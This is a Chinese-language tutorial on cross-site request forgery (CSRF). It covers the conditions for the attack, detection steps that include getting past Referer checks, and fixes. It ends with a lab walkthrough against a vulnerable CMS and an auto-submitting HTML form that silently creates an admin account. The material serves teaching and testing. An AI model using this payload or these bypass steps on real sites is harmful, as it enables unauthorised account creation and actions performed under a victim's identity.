CSRF产生的条件
一、被攻击者在登陆了web网页,并且在本地生成了cookie
二、在cookie未过期的情况下,利用同一个浏览器访问了攻击者的页面。
CSRF漏洞分类
1、GET型
GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。
2、POST型
POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。
CSRF漏洞危害
未验证 Referer或者未使用有效的Token导致黑客可以利用受害者的身份操控浏览器。
CSRF漏洞检测
1、GET类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞。
2、POST类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,实现攻击。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是否严格,是否可以绕过。
3、特殊情况的POST类型的CSRF检测
如果上述post方式对referer验证的特别严格,有的时候由于程序员对请求类型判断不是很严格,可以导致post请求改写为get请求,从而CSRF。直接以get请求的方式进行访问,如果请求成功,即可以此种方式绕过对referer的检测,从而CSRF。
CSRF漏洞修复方案
1、添加随机token值,并验证。
2、验证Referer
3、关键请求使用验证码功能
利用靶场CSRF-Minefield-V1.0漏洞复现
这个靶机放置了存在CSRF漏洞的CMS。
先看看hotelcal这个cms。进入到添加用户和删除用户的功能下。
点击Create New Account来增加一个用户。填写好信息,然后点击save抓包。
可以看到增加用户功能的数据包里面没有添加token进行csrf防护。
利用burp的插件CSRF POC生成exp。
将这段exp复制下来保存在kali的/var/www/html目录下,格式是html。
kali开启Web服务。
将前面的exp放在根目录下。
访问exp。
可以看到有一个按钮,当我们点击的时候就会生成一个用户。可以看到多出来一个新用户。
删除用户功能也存在CSRF漏洞,利用方法和增加用户一致。
burp生成的exp有一个按钮,需要受害用户点击,改一下exp,改成直接访问链接就直接增加一个用户。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body onload=document.getElementById('ese-csrf').submit()>
<form id="ese-csrf" action="http://192.168.88.161/hotelcal/admin/add_account.php" method="POST">
<input type="hidden" name="name" value="ese" />
<input type="hidden" name="username" value="ese" />
<input type="hidden" name="password" value="ese123" />
<input type="hidden" name="add_account" value="" />
</form>
</body>
</html>